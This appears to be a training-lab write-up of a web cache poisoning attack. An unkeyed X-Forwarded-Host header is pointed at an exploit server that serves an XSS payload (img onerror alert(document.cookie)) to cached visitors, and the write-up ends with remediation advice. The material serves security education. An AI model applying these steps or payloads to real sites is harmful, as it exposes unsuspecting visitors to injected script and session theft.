SCENARIO

The application is vulnerable to web cache poisoning but the cache used by this lab has stricter criteria for deciding which responses are cacheable, so you will need to study the cache behaviour closely. We will try to poison the cache with a response that executes alert(document.cookie) in the visitor's browser.

**PROCEDURE**

1. Open the web application and in the BurpSuite’s Proxy tab send the GET request for homepage to BurpSuite’s Repeater and study it.
2. Using Param Miner extension, right-click on the request and select "Guess headers". After a while, Param Miner will report that there is a secret input in the form of the **X-Forwarded-Host** at the Target tab into Issues section.
3. Send the GET request to Burp Repeater, also add a cache-buster query parameter and with that add the X-Host header with any arbitrary hostname, we notice that the value of this header is used to dynamically generate an absolute URL for importing the JavaScript file stored at **/resources/json/geolocate.json**.
4. Go to the exploit server and replace the name with the Payload 1, the head with the Payload 2 and the body with Payload 3, store the exploit now.
5. Get back to BurpSuite’s Repeater and put the value of the **X-Forwarded-Host** parameter as our exploit server URL like in Payload 4.
6. Send the request until the exploit server URL is reflected in the response and **X-Cache: hit** in the headers.
7. In order to stimulate the victim, we need to load the URL in the browser to let the alert trigger.
8. If this doesn't work, notice that the response contains the Set-Cookie header. Responses containing this header are not cacheable on this site. Reload the home page to generate a new request, which should have a session cookie already set.
9. Send the malicious request after removing the cache buster parameter and keep replaying the request until we see our exploit server URL being reflected in the response and **X-Cache: hit** in the headers.

**PAYLOAD**

1. /resources/json/geolocate.json
2. alert(document.cookie)
3. {

"country": "<img src=1 onerror=alert(document.cookie) />"

}

1. X-Forwarded-Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net

**REMEDIATION**

1. **Ignore Headers from Untrusted Sources:** The application should not process or trust arbitrary headers, especially when they influence essential components like URL or resource generation.
2. **Avoid Dynamic Content Based on Headers:** If the application must generate content based on headers, those headers should be well-known and should not be susceptible to poisoning.
3. **Validate Input:** All inputs, including headers, should be validated. If there's a limited set of acceptable values, then only those values should be permitted.
4. **Limit Caching:** Dynamic content, especially content influenced by headers or other variable data, should not be cached. If it must be cached, cache keys should be constructed to include every aspect of the request that influences the response, to minimize the risk of serving inappropriate content to users.
5. **Set Cache Controls:** Use appropriate cache control headers to specify caching behavior. Cache headers such as no-store and no-cache can be used to prevent or control caching.
6. **Disallow Cache for Cookie Responses:** If a response contains Set-Cookie, it shouldn't be cached. This way, individual user sessions are protected from poisoning attempts.